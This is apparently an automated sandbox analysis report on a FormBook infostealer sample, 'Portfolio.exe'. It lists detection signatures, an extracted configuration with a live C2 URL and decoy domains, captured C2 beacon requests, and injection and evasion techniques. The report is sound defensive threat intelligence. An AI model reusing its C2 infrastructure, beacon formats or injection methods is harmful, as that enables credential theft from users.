Analysis Report Portfolio.exe

Overview

General Information

Sample Name: Portfolio.exe
Analysis ID: 385265
MD5: 9fa479c87543e7dd199296f7029991c9
SHA1: 649bf55700b6828989dbcf4c5d792ba93fa5b2e0
SHA256: 5cb8d74227cc43368e24ef8f94c5ae38a2f2c259a1701b1efa4f6b5042e4544d
Tags: exeFormbook
Infos:

Most interesting Screenshot:

Detection

FormBook
Score: 100
Range: 0 - 100
Whitelisted: false
Confidence: 100%

Signatures

Found malware configuration
Malicious sample detected (through community Yara rule)
Multi AV Scanner detection for submitted file
System process connects to network (likely due to code injection or exploit)
Yara detected AntiVM3
Yara detected FormBook
C2 URLs / IPs found in malware configuration
Injects a PE file into a foreign processes
Machine Learning detection for sample
Maps a DLL or memory area into another process
Modifies the context of a thread in another process (thread injection)
Modifies the prolog of user mode functions (user mode inline hooks)
Queues an APC in another process (thread injection)
Sample uses process hollowing technique
Tries to detect sandboxes and other dynamic analysis tools (process name or module or function)
Tries to detect virtualization through RDTSC time measurements
Antivirus or Machine Learning detection for unpacked file
Checks if the current process is being debugged
Contains functionality for execution timing, often used to detect debuggers
Contains functionality to access loader functionality (e.g. LdrGetProcedureAddress)
Contains functionality to call native functions
Contains functionality to read the PEB
Contains long sleeps (>= 3 min)
Creates a process in suspended mode (likely to inject code)
Detected potential crypto function
Enables debug privileges
Found inlined nop instructions (likely shell or obfuscated code)
Found potential string decryption / allocating functions
HTTP GET or POST without a user agent
IP address seen in connection with other malware
Internet Provider seen in connection with other malware
May sleep (evasive loops) to hinder dynamic analysis
PE file contains strange resources
Queries the volume information (name, serial number etc) of a device
Sample execution stops while process was sleeping (likely an evasion)
Sample file is different than original file name gathered from version info
Uses 32bit PE files
Uses code obfuscation techniques (call, push, ret)
Yara signature match

Classification

AV Detection:

barindex
Found malware configuration
Source: 00000003.00000002.294841079.0000000001620000.00000040.00000001.sdmp Malware Configuration Extractor: FormBook {"C2 list": ["www.fromthepittothepitts.com/dwj/"], "decoy": ["timemine.net", "hochzeitsfotograf-kirchheim.com", "pinebrotherstreeservices.com", "nitthaidessert.com", "azbysdqis.icu", "lamamex.com", "betonelon.com", "instagram-copyrighteam.com", "balela.info", "silversageresidentialllc.com", "receitaideal.com", "di-rinse.com", "relicensetests.com", "wobidoo.singles", "sanjosemicroschools.com", "southwonstondogtrainingclub.com", "vasayopianju.com", "falcontehnik.com", "hoytslandscaping.com", "colorprintagencia.com", "72222006.com", "rqgxbl.com", "bike-open.com", "delivachelicatering.com", "eorpp.com", "indianwants.com", "byonf.com", "damayaran.com", "rhusart-shop.com", "elusivelabs.net", "medeins.com", "itristore.com", "andalusier-united.com", "andersensweddinginvitations.com", "devinpennings.com", "vinegret.com", "veravzznt.asia", "facemaskbuyer.com", "oregonbirdhouse.com", "onyxcondoms.com", "cutfd.com", "856379601.xyz", "notmad-nomads.com", "eversourcecredit.com", "scaledsales.com", "hailstoneclayfairy.com", "merishare.com", "verified-igcenter.com", "thehappytester.com", "act360.xyz", "warehouseteam.com", "lingwid.com", "bodyizaverb.store", "oldguyinthesky.com", "cualosun.com", "timcrozier.com", "binghamtonplumber.com", "1956west10th.com", "covid-19sales.com", "anshcgsab50sd.com", "wfxinbang.com", "eldiaqueashtonmetwitteo.com", "cmhbhhy.icu", "cursosinemlinea.com"]}
Multi AV Scanner detection for submitted file
Source: Portfolio.exe Virustotal: Detection: 34% Perma Link
Source: Portfolio.exe ReversingLabs: Detection: 16%
Yara detected FormBook
Source: Yara match File source: 00000003.00000002.294841079.0000000001620000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match File source: 0000000E.00000002.501446234.0000000004E40000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match File source: 00000003.00000002.293921450.0000000000400000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match File source: 00000003.00000002.294742769.00000000015F0000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match File source: 0000000E.00000002.500122632.0000000003030000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match File source: 0000000E.00000002.501316678.0000000004E10000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match File source: 00000000.00000002.252926038.00000000045D5000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match File source: 3.2.Portfolio.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match File source: 3.2.Portfolio.exe.400000.0.raw.unpack, type: UNPACKEDPE
Machine Learning detection for sample
Source: Portfolio.exe Joe Sandbox ML: detected
Antivirus or Machine Learning detection for unpacked file
Source: 3.2.Portfolio.exe.400000.0.unpack Avira: Label: TR/Crypt.ZPACK.Gen

Compliance:

barindex
Uses 32bit PE files
Source: Portfolio.exe Static PE information: 32BIT_MACHINE, EXECUTABLE_IMAGE
Source: Portfolio.exe Static PE information: NO_SEH, TERMINAL_SERVER_AWARE, DYNAMIC_BASE, NX_COMPAT
Source: Binary string: wntdll.pdbUGP source: Portfolio.exe, 00000003.00000003.249066077.00000000017C0000.00000004.00000001.sdmp, mstsc.exe, 0000000E.00000002.501901924.0000000005060000.00000040.00000001.sdmp
Source: Binary string: wntdll.pdb source: Portfolio.exe, mstsc.exe
Source: Binary string: mstsc.pdbGCTL source: Portfolio.exe, 00000003.00000002.296664211.0000000003570000.00000040.00000001.sdmp
Source: Binary string: mstsc.pdb source: Portfolio.exe, 00000003.00000002.296664211.0000000003570000.00000040.00000001.sdmp

Software Vulnerabilities:

barindex
Found inlined nop instructions (likely shell or obfuscated code)
Source: C:\Users\user\Desktop\Portfolio.exe Code function: 4x nop then mov dword ptr [ebp-18h], 00000000h 0_2_01AD60B0
Source: C:\Users\user\Desktop\Portfolio.exe Code function: 4x nop then mov dword ptr [ebp-18h], 00000000h 0_2_01AD60A2
Source: C:\Users\user\Desktop\Portfolio.exe Code function: 4x nop then mov dword ptr [ebp-18h], 00000000h 0_2_01AD6E20
Source: C:\Users\user\Desktop\Portfolio.exe Code function: 4x nop then mov dword ptr [ebp-18h], 00000000h 0_2_01AD6E10
Source: C:\Users\user\Desktop\Portfolio.exe Code function: 4x nop then pop edi 3_2_00416B78
Source: C:\Users\user\Desktop\Portfolio.exe Code function: 4x nop then pop edi 3_2_00416C7F
Source: C:\Users\user\Desktop\Portfolio.exe Code function: 4x nop then pop edi 3_2_00416CB5
Source: C:\Users\user\Desktop\Portfolio.exe Code function: 4x nop then pop edi 3_2_00417D49
Source: C:\Users\user\Desktop\Portfolio.exe Code function: 4x nop then pop edi 3_2_00417D07
Source: C:\Windows\SysWOW64\mstsc.exe Code function: 4x nop then pop edi 14_2_03046B78
Source: C:\Windows\SysWOW64\mstsc.exe Code function: 4x nop then pop edi 14_2_03047D07
Source: C:\Windows\SysWOW64\mstsc.exe Code function: 4x nop then pop edi 14_2_03047D49
Source: C:\Windows\SysWOW64\mstsc.exe Code function: 4x nop then pop edi 14_2_03046C7F
Source: C:\Windows\SysWOW64\mstsc.exe Code function: 4x nop then pop edi 14_2_03046CB5

Networking:

barindex
C2 URLs / IPs found in malware configuration
Source: Malware configuration extractor URLs: www.fromthepittothepitts.com/dwj/
HTTP GET or POST without a user agent
Source: global traffic HTTP traffic detected: GET /dwj/?Cj=lN985vvxrLh4&HTrLdvY=vjdFX+deElwkJL3jjCyofcRGlviK7hY6fmHNPu6niYhLdTNZ+9C3ClVYQHWQZWwEwEGo HTTP/1.1Host: www.timcrozier.comConnection: closeData Raw: 00 00 00 00 00 00 00 Data Ascii:
Source: global traffic HTTP traffic detected: GET /dwj/?HTrLdvY=e+9w//LrkNQAvat7yjjfVebmP7O5RIC5nL700LrPx65Ls1GCtX2Cw2Ubn7E5A1TTieM1&Cj=lN985vvxrLh4 HTTP/1.1Host: www.fromthepittothepitts.comConnection: closeData Raw: 00 00 00 00 00 00 00 Data Ascii:
Source: global traffic HTTP traffic detected: GET /dwj/?Cj=lN985vvxrLh4&HTrLdvY=jCwgb33wmR2YDM1wuLgRTH38yeb9sMyK3XA0ZXE7/yU9OdwyZBI+RqEK8elpwbEptz+b HTTP/1.1Host: www.scaledsales.comConnection: closeData Raw: 00 00 00 00 00 00 00 Data Ascii:
IP address seen in connection with other malware
Source: Joe Sandbox View IP Address: 72.167.241.46 72.167.241.46
Internet Provider seen in connection with other malware
Source: Joe Sandbox View ASN Name: AS-26496-GO-DADDY-COM-LLCUS AS-26496-GO-DADDY-COM-LLCUS
Source: Joe Sandbox View ASN Name: CLAYERLIMITED-AS-APClayerLimitedHK CLAYERLIMITED-AS-APClayerLimitedHK
Source: global traffic HTTP traffic detected: GET /dwj/?Cj=lN985vvxrLh4&HTrLdvY=vjdFX+deElwkJL3jjCyofcRGlviK7hY6fmHNPu6niYhLdTNZ+9C3ClVYQHWQZWwEwEGo HTTP/1.1Host: www.timcrozier.comConnection: closeData Raw: 00 00 00 00 00 00 00 Data Ascii:
Source: global traffic HTTP traffic detected: GET /dwj/?HTrLdvY=e+9w//LrkNQAvat7yjjfVebmP7O5RIC5nL700LrPx65Ls1GCtX2Cw2Ubn7E5A1TTieM1&Cj=lN985vvxrLh4 HTTP/1.1Host: www.fromthepittothepitts.comConnection: closeData Raw: 00 00 00 00 00 00 00 Data Ascii:
Source: global traffic HTTP traffic detected: GET /dwj/?Cj=lN985vvxrLh4&HTrLdvY=jCwgb33wmR2YDM1wuLgRTH38yeb9sMyK3XA0ZXE7/yU9OdwyZBI+RqEK8elpwbEptz+b HTTP/1.1Host: www.scaledsales.comConnection: closeData Raw: 00 00 00 00 00 00 00 Data Ascii:
Source: unknown DNS traffic detected: queries for: clientconfig.passport.net
Source: global traffic HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginxDate: Mon, 12 Apr 2021 07:18:14 GMTContent-Type: text/htmlContent-Length: 479Connection: closeETag: "5cf0c6a3-1df"Data Raw: 3c 21 64 6f 63 74 79 70 65 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 3e 0a 3c 68 65 61 64 3e 0a 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 75 74 66 2d 38 22 3e 0a 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 58 2d 55 41 2d 43 6f 6d 70 61 74 69 62 6c 65 22 20 63 6f 6e 74 65 6e 74 3d 22 49 45 3d 65 64 67 65 22 3e 0a 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 6d 61 78 69 6d 75 6d 2d 73 63 61 6c 65 3d 31 2c 20 75 73 65 72 2d 73 63 61 6c 61 62 6c 65 3d 6e 6f 22 3e 0a 3c 74 69 74 6c 65 3e 34 30 34 3c 2f 74 69 74 6c 65 3e 0a 3c 73 74 79 6c 65 3e 0a 09 62 6f 64 79 7b 0a 09 09 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 23 34 34 34 3b 0a 09 09 66 6f 6e 74 2d 73 69 7a 65 3a 31 34 70 78 3b 0a 09 7d 0a 09 68 33 7b 0a 09 09 66 6f 6e 74 2d 73 69 7a 65 3a 36 30 70 78 3b 0a 09 09 63 6f 6c 6f 72 3a 23 65 65 65 3b 0a 09 09 74 65 78 74 2d 61 6c 69 67 6e 3a 63 65 6e 74 65 72 3b 0a 09 09 70 61 64 64 69 6e 67 2d 74 6f 70 3a 33 30 70 78 3b 0a 09 09 66 6f 6e 74 2d 77 65 69 67 68 74 3a 6e 6f 72 6d 61 6c 3b 0a 09 7d 0a 3c 2f 73 74 79 6c 65 3e 0a 3c 2f 68 65 61 64 3e 0a 0a 3c 62 6f 64 79 3e 0a 3c 68 33 3e 34 30 34 ef bc 8c e6 82 a8 e8 af b7 e6 b1 82 e7 9a 84 e6 96 87 e4 bb b6 e4 b8 8d e5 ad 98 e5 9c a8 21 3c 2f 68 33 3e 0a 3c 2f 62 6f 64 79 3e 0a 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <!doctype html><html><head><meta charset="utf-8"><meta http-equiv="X-UA-Compatible" content="IE=edge"><meta name="viewport" content="width=device-width, initial-scale=1, maximum-scale=1, user-scalable=no"><title>404</title><style>body{background-color:#444;font-size:14px;}h3{font-size:60px;color:#eee;text-align:center;padding-top:30px;font-weight:normal;}</style></head><body><h3>404!</h3></body></html>
Source: Portfolio.exe, 00000000.00000003.228584223.0000000001B0D000.00000004.00000001.sdmp String found in binary or memory: http://en.wg
Source: Portfolio.exe, 00000000.00000002.255795248.0000000006540000.00000002.00000001.sdmp, explorer.exe, 00000006.00000000.276691201.000000000BC30000.00000002.00000001.sdmp String found in binary or memory: http://fontfabrik.com
Source: Portfolio.exe, 00000000.00000002.249960275.0000000003421000.00000004.00000001.sdmp, Portfolio.exe, 00000000.00000002.250046779.0000000003476000.00000004.00000001.sdmp String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name
Source: Portfolio.exe, 00000000.00000002.250046779.0000000003476000.00000004.00000001.sdmp String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name4
Source: Portfolio.exe, 00000000.00000002.255795248.0000000006540000.00000002.00000001.sdmp, explorer.exe, 00000006.00000000.276691201.000000000BC30000.00000002.00000001.sdmp String found in binary or memory: http://www.apache.org/licenses/LICENSE-2.0
Source: Portfolio.exe, 00000000.00000002.255795248.0000000006540000.00000002.00000001.sdmp, explorer.exe, 00000006.00000000.276691201.000000000BC30000.00000002.00000001.sdmp String found in binary or memory: http://www.carterandcone.coml
Source: Portfolio.exe, 00000000.00000002.255677929.0000000006450000.00000004.00000001.sdmp, explorer.exe, 00000006.00000000.276691201.000000000BC30000.00000002.00000001.sdmp String found in binary or memory: http://www.fontbureau.com
Source: explorer.exe, 00000006.00000000.276691201.000000000BC30000.00000002.00000001.sdmp String found in binary or memory: http://www.fontbureau.com/designers
Source: Portfolio.exe, 00000000.00000002.255795248.0000000006540000.00000002.00000001.sdmp, explorer.exe, 00000006.00000000.276691201.000000000BC30000.00000002.00000001.sdmp String found in binary or memory: http://www.fontbureau.com/designers/?
Source: Portfolio.exe, 00000000.00000002.255795248.0000000006540000.00000002.00000001.sdmp, explorer.exe, 00000006.00000000.276691201.000000000BC30000.00000002.00000001.sdmp String found in binary or memory: http://www.fontbureau.com/designers/cabarga.htmlN
Source: Portfolio.exe, 00000000.00000002.255795248.0000000006540000.00000002.00000001.sdmp, explorer.exe, 00000006.00000000.276691201.000000000BC30000.00000002.00000001.sdmp String found in binary or memory: http://www.fontbureau.com/designers/frere-jones.html
Source: Portfolio.exe, 00000000.00000002.255795248.0000000006540000.00000002.00000001.sdmp, explorer.exe, 00000006.00000000.276691201.000000000BC30000.00000002.00000001.sdmp String found in binary or memory: http://www.fontbureau.com/designers8
Source: Portfolio.exe, 00000000.00000003.234330110.000000000645D000.00000004.00000001.sdmp String found in binary or memory: http://www.fontbureau.com/designers8g
Source: Portfolio.exe, 00000000.00000002.255795248.0000000006540000.00000002.00000001.sdmp, explorer.exe, 00000006.00000000.276691201.000000000BC30000.00000002.00000001.sdmp String found in binary or memory: http://www.fontbureau.com/designers?
Source: Portfolio.exe, 00000000.00000002.255795248.0000000006540000.00000002.00000001.sdmp, explorer.exe, 00000006.00000000.276691201.000000000BC30000.00000002.00000001.sdmp String found in binary or memory: http://www.fontbureau.com/designersG
Source: Portfolio.exe, 00000000.00000003.233964245.0000000006459000.00000004.00000001.sdmp String found in binary or memory: http://www.fontbureau.com/designersP
Source: Portfolio.exe, 00000000.00000002.255677929.0000000006450000.00000004.00000001.sdmp String found in binary or memory: http://www.fontbureau.come.com
Source: Portfolio.exe, 00000000.00000002.255795248.0000000006540000.00000002.00000001.sdmp, explorer.exe, 00000006.00000000.276691201.000000000BC30000.00000002.00000001.sdmp String found in binary or memory: http://www.fonts.com
Source: Portfolio.exe, 00000000.00000003.229070547.000000000646B000.00000004.00000001.sdmp String found in binary or memory: http://www.fonts.com-uK2
Source: Portfolio.exe, 00000000.00000003.229070547.000000000646B000.00000004.00000001.sdmp String found in binary or memory: http://www.fonts.comF
Source: Portfolio.exe, 00000000.00000003.229124720.000000000646B000.00000004.00000001.sdmp String found in binary or memory: http://www.fonts.comc
Source: Portfolio.exe, 00000000.00000003.229044893.000000000646B000.00000004.00000001.sdmp String found in binary or memory: http://www.fonts.comic
Source: Portfolio.exe, 00000000.00000002.255795248.0000000006540000.00000002.00000001.sdmp, explorer.exe, 00000006.00000000.276691201.000000000BC30000.00000002.00000001.sdmp String found in binary or memory: http://www.founder.com.cn/cn
Source: Portfolio.exe, 00000000.00000003.231020561.0000000006454000.00000004.00000001.sdmp String found in binary or memory: http://www.founder.com.cn/cn/
Source: Portfolio.exe, 00000000.00000003.231020561.0000000006454000.00000004.00000001.sdmp String found in binary or memory: http://www.founder.com.cn/cn/1
Source: Portfolio.exe, 00000000.00000002.255795248.0000000006540000.00000002.00000001.sdmp, explorer.exe, 00000006.00000000.276691201.000000000BC30000.00000002.00000001.sdmp String found in binary or memory: http://www.founder.com.cn/cn/bThe
Source: Portfolio.exe, 00000000.00000002.255795248.0000000006540000.00000002.00000001.sdmp, explorer.exe, 00000006.00000000.276691201.000000000BC30000.00000002.00000001.sdmp String found in binary or memory: http://www.founder.com.cn/cn/cThe
Source: Portfolio.exe, 00000000.00000003.230728863.0000000006454000.00000004.00000001.sdmp String found in binary or memory: http://www.founder.com.cn/cnFe
Source: Portfolio.exe, 00000000.00000003.230728863.0000000006454000.00000004.00000001.sdmp String found in binary or memory: http://www.founder.com.cn/cnnte
Source: Portfolio.exe, 00000000.00000003.230728863.0000000006454000.00000004.00000001.sdmp String found in binary or memory: http://www.founder.com.cn/cnorm
Source: Portfolio.exe, 00000000.00000002.255795248.0000000006540000.00000002.00000001.sdmp, explorer.exe, 00000006.00000000.276691201.000000000BC30000.00000002.00000001.sdmp String found in binary or memory: http://www.galapagosdesign.com/DPlease
Source: Portfolio.exe, 00000000.00000002.255795248.0000000006540000.00000002.00000001.sdmp, explorer.exe, 00000006.00000000.276691201.000000000BC30000.00000002.00000001.sdmp String found in binary or memory: http://www.galapagosdesign.com/staff/dennis.htm
Source: Portfolio.exe, 00000000.00000002.255795248.0000000006540000.00000002.00000001.sdmp, explorer.exe, 00000006.00000000.276691201.000000000BC30000.00000002.00000001.sdmp String found in binary or memory: http://www.goodfont.co.kr
Source: Portfolio.exe, 00000000.00000003.232390770.0000000006454000.00000004.00000001.sdmp, explorer.exe, 00000006.00000000.276691201.000000000BC30000.00000002.00000001.sdmp String found in binary or memory: http://www.jiyu-kobo.co.jp/
Source: Portfolio.exe, 00000000.00000003.232390770.0000000006454000.00000004.00000001.sdmp String found in binary or memory: http://www.jiyu-kobo.co.jp/Zp
Source: Portfolio.exe, 00000000.00000003.232390770.0000000006454000.00000004.00000001.sdmp String found in binary or memory: http://www.jiyu-kobo.co.jp/ana
Source: Portfolio.exe, 00000000.00000003.232390770.0000000006454000.00000004.00000001.sdmp String found in binary or memory: http://www.jiyu-kobo.co.jp/ip
Source: Portfolio.exe, 00000000.00000003.232390770.0000000006454000.00000004.00000001.sdmp String found in binary or memory: http://www.jiyu-kobo.co.jp/jp/
Source: Portfolio.exe, 00000000.00000003.232390770.0000000006454000.00000004.00000001.sdmp String found in binary or memory: http://www.jiyu-kobo.co.jp/tp&
Source: Portfolio.exe, 00000000.00000003.228912347.000000000646B000.00000004.00000001.sdmp, Portfolio.exe, 00000000.00000002.255795248.0000000006540000.00000002.00000001.sdmp, explorer.exe, 00000006.00000000.276691201.000000000BC30000.00000002.00000001.sdmp String found in binary or memory: http://www.sajatypeworks.com
Source: Portfolio.exe, 00000000.00000003.228912347.000000000646B000.00000004.00000001.sdmp String found in binary or memory: http://www.sajatypeworks.comd
Source: Portfolio.exe, 00000000.00000003.228912347.000000000646B000.00000004.00000001.sdmp String found in binary or memory: http://www.sajatypeworks.comif13
Source: Portfolio.exe, 00000000.00000002.255795248.0000000006540000.00000002.00000001.sdmp, explorer.exe, 00000006.00000000.276691201.000000000BC30000.00000002.00000001.sdmp String found in binary or memory: http://www.sakkal.com
Source: Portfolio.exe, 00000000.00000002.255795248.0000000006540000.00000002.00000001.sdmp, explorer.exe, 00000006.00000000.276691201.000000000BC30000.00000002.00000001.sdmp String found in binary or memory: http://www.sandoll.co.kr
Source: Portfolio.exe, 00000000.00000003.230122037.0000000006459000.00000004.00000001.sdmp String found in binary or memory: http://www.sandoll.co.kr0l
Source: Portfolio.exe, 00000000.00000003.230122037.0000000006459000.00000004.00000001.sdmp String found in binary or memory: http://www.sandoll.co.krN.TTF
Source: Portfolio.exe, 00000000.00000003.230122037.0000000006459000.00000004.00000001.sdmp String found in binary or memory: http://www.sandoll.co.krs.
Source: explorer.exe, 00000006.00000000.276691201.000000000BC30000.00000002.00000001.sdmp String found in binary or memory: http://www.tiro.com
Source: Portfolio.exe, 00000000.00000003.229361711.000000000646B000.00000004.00000001.sdmp String found in binary or memory: http://www.tiro.comc
Source: Portfolio.exe, 00000000.00000003.229361711.000000000646B000.00000004.00000001.sdmp String found in binary or memory: http://www.tiro.comh
Source: Portfolio.exe, 00000000.00000002.255795248.0000000006540000.00000002.00000001.sdmp, explorer.exe, 00000006.00000000.276691201.000000000BC30000.00000002.00000001.sdmp String found in binary or memory: http://www.typography.netD
Source: Portfolio.exe, 00000000.00000002.255795248.0000000006540000.00000002.00000001.sdmp, explorer.exe, 00000006.00000000.276691201.000000000BC30000.00000002.00000001.sdmp String found in binary or memory: http://www.urwpp.deDPlease
Source: Portfolio.exe, 00000000.00000002.255795248.0000000006540000.00000002.00000001.sdmp, explorer.exe, 00000006.00000000.276691201.000000000BC30000.00000002.00000001.sdmp String found in binary or memory: http://www.zhongyicts.com.cn
Source: Portfolio.exe, 00000000.00000002.250046779.0000000003476000.00000004.00000001.sdmp String found in binary or memory: https://stackpath.bootstrapcdn.com/bootstrap/4.5.0/css/bootstrap.min.css

E-Banking Fraud:

barindex
Yara detected FormBook
Source: Yara match File source: 00000003.00000002.294841079.0000000001620000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match File source: 0000000E.00000002.501446234.0000000004E40000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match File source: 00000003.00000002.293921450.0000000000400000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match File source: 00000003.00000002.294742769.00000000015F0000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match File source: 0000000E.00000002.500122632.0000000003030000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match File source: 0000000E.00000002.501316678.0000000004E10000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match File source: 00000000.00000002.252926038.00000000045D5000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match File source: 3.2.Portfolio.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match File source: 3.2.Portfolio.exe.400000.0.raw.unpack, type: UNPACKEDPE

System Summary:

barindex
Malicious sample detected (through community Yara rule)
Source: 00000003.00000002.294841079.0000000001620000.00000040.00000001.sdmp, type: MEMORY Matched rule: autogenerated rule brought to you by yara-signator Author: Felix Bilstein - yara-signator at cocacoding dot com
Source: 00000003.00000002.294841079.0000000001620000.00000040.00000001.sdmp, type: MEMORY Matched rule: detect Formbook in memory Author: JPCERT/CC Incident Response Group
Source: 0000000E.00000002.501446234.0000000004E40000.00000004.00000001.sdmp, type: MEMORY Matched rule: autogenerated rule brought to you by yara-signator Author: Felix Bilstein - yara-signator at cocacoding dot com
Source: 0000000E.00000002.501446234.0000000004E40000.00000004.00000001.sdmp, type: MEMORY Matched rule: detect Formbook in memory Author: JPCERT/CC Incident Response Group
Source: 00000003.00000002.293921450.0000000000400000.00000040.00000001.sdmp, type: MEMORY Matched rule: autogenerated rule brought to you by yara-signator Author: Felix Bilstein - yara-signator at cocacoding dot com
Source: 00000003.00000002.293921450.0000000000400000.00000040.00000001.sdmp, type: MEMORY Matched rule: detect Formbook in memory Author: JPCERT/CC Incident Response Group
Source: 00000003.00000002.294742769.00000000015F0000.00000040.00000001.sdmp, type: MEMORY Matched rule: autogenerated rule brought to you by yara-signator Author: Felix Bilstein - yara-signator at cocacoding dot com
Source: 00000003.00000002.294742769.00000000015F0000.00000040.00000001.sdmp, type: MEMORY Matched rule: detect Formbook in memory Author: JPCERT/CC Incident Response Group
Source: 0000000E.00000002.500122632.0000000003030000.00000040.00000001.sdmp, type: MEMORY Matched rule: autogenerated rule brought to you by yara-signator Author: Felix Bilstein - yara-signator at cocacoding dot com
Source: 0000000E.00000002.500122632.0000000003030000.00000040.00000001.sdmp, type: MEMORY Matched rule: detect Formbook in memory Author: JPCERT/CC Incident Response Group
Source: 0000000E.00000002.501316678.0000000004E10000.00000040.00000001.sdmp, type: MEMORY Matched rule: autogenerated rule brought to you by yara-signator Author: Felix Bilstein - yara-signator at cocacoding dot com
Source: 0000000E.00000002.501316678.0000000004E10000.00000040.00000001.sdmp, type: MEMORY Matched rule: detect Formbook in memory Author: JPCERT/CC Incident Response Group
Source: 00000000.00000002.252926038.00000000045D5000.00000004.00000001.sdmp, type: MEMORY Matched rule: autogenerated rule brought to you by yara-signator Author: Felix Bilstein - yara-signator at cocacoding dot com
Source: 00000000.00000002.252926038.00000000045D5000.00000004.00000001.sdmp, type: MEMORY Matched rule: detect Formbook in memory Author: JPCERT/CC Incident Response Group
Source: 3.2.Portfolio.exe.400000.0.unpack, type: UNPACKEDPE Matched rule: autogenerated rule brought to you by yara-signator Author: Felix Bilstein - yara-signator at cocacoding dot com
Source: 3.2.Portfolio.exe.400000.0.unpack, type: UNPACKEDPE Matched rule: detect Formbook in memory Author: JPCERT/CC Incident Response Group
Source: 3.2.Portfolio.exe.400000.0.raw.unpack, type: UNPACKEDPE Matched rule: autogenerated rule brought to you by yara-signator Author: Felix Bilstein - yara-signator at cocacoding dot com
Source: 3.2.Portfolio.exe.400000.0.raw.unpack, type: UNPACKEDPE Matched rule: detect Formbook in memory Author: JPCERT/CC Incident Response Group
Contains functionality to call native functions
Source: C:\Users\user\Desktop\Portfolio.exe Code function: 3_2_00419D60 NtCreateFile, 3_2_00419D60
Source: C:\Users\user\Desktop\Portfolio.exe Code function: 3_2_00419E10 NtReadFile, 3_2_00419E10
Source: C:\Users\user\Desktop\Portfolio.exe Code function: 3_2_00419E90 NtClose, 3_2_00419E90
Source: C:\Users\user\Desktop\Portfolio.exe Code function: 3_2_00419F40 NtAllocateVirtualMemory, 3_2_00419F40
Source: C:\Users\user\Desktop\Portfolio.exe Code function: 3_2_00419E0A NtReadFile, 3_2_00419E0A
Source: C:\Users\user\Desktop\Portfolio.exe Code function: 3_2_00419E8A NtClose, 3_2_00419E8A
Source: C:\Users\user\Desktop\Portfolio.exe Code function: 3_2_00419F3A NtAllocateVirtualMemory, 3_2_00419F3A
Source: C:\Users\user\Desktop\Portfolio.exe Code function: 3_2_019C99A0 NtCreateSection,LdrInitializeThunk, 3_2_019C99A0
Source: C:\Users\user\Desktop\Portfolio.exe Code function: 3_2_019C95D0 NtClose,LdrInitializeThunk, 3_2_019C95D0
Source: C:\Users\user\Desktop\Portfolio.exe Code function: 3_2_019C9910 NtAdjustPrivilegesToken,LdrInitializeThunk, 3_2_019C9910
Source: C:\Users\user\Desktop\Portfolio.exe Code function: 3_2_019C9540 NtReadFile,LdrInitializeThunk, 3_2_019C9540
Source: C:\Users\user\Desktop\Portfolio.exe Code function: 3_2_019C98F0 NtReadVirtualMemory,LdrInitializeThunk, 3_2_019C98F0
Source: C:\Users\user\Desktop\Portfolio.exe Code function: 3_2_019C9840 NtDelayExecution,LdrInitializeThunk, 3_2_019C9840
Source: C:\Users\user\Desktop\Portfolio.exe Code function: 3_2_019C9860 NtQuerySystemInformation,LdrInitializeThunk, 3_2_019C9860
Source: C:\Users\user\Desktop\Portfolio.exe Code function: 3_2_019C9780 NtMapViewOfSection,LdrInitializeThunk, 3_2_019C9780
Source: C:\Users\user\Desktop\Portfolio.exe Code function: 3_2_019C97A0 NtUnmapViewOfSection,LdrInitializeThunk, 3_2_019C97A0
Source: C:\Users\user\Desktop\Portfolio.exe Code function: 3_2_019C9710 NtQueryInformationToken,LdrInitializeThunk, 3_2_019C9710
Source: C:\Users\user\Desktop\Portfolio.exe Code function: 3_2_019C96E0 NtFreeVirtualMemory,LdrInitializeThunk, 3_2_019C96E0
Source: C:\Users\user\Desktop\Portfolio.exe Code function: 3_2_019C9A00 NtProtectVirtualMemory,LdrInitializeThunk, 3_2_019C9A00
Source: C:\Users\user\Desktop\Portfolio.exe Code function: 3_2_019C9A20 NtResumeThread,LdrInitializeThunk, 3_2_019C9A20
Source: C:\Users\user\Desktop\Portfolio.exe Code function: 3_2_019C9A50 NtCreateFile,LdrInitializeThunk, 3_2_019C9A50
Source: C:\Users\user\Desktop\Portfolio.exe Code function: 3_2_019C9660 NtAllocateVirtualMemory,LdrInitializeThunk, 3_2_019C9660
Source: C:\Users\user\Desktop\Portfolio.exe Code function: 3_2_019C99D0 NtCreateProcessEx, 3_2_019C99D0
Source: C:\Users\user\Desktop\Portfolio.exe Code function: 3_2_019C95F0 NtQueryInformationFile, 3_2_019C95F0
Source: C:\Users\user\Desktop\Portfolio.exe Code function: 3_2_019CAD30 NtSetContextThread, 3_2_019CAD30
Source: C:\Users\user\Desktop\Portfolio.exe Code function: 3_2_019C9520 NtWaitForSingleObject, 3_2_019C9520
Source: C:\Users\user\Desktop\Portfolio.exe Code function: 3_2_019C9950 NtQueueApcThread, 3_2_019C9950
Source: C:\Users\user\Desktop\Portfolio.exe Code function: 3_2_019C9560 NtWriteFile, 3_2_019C9560
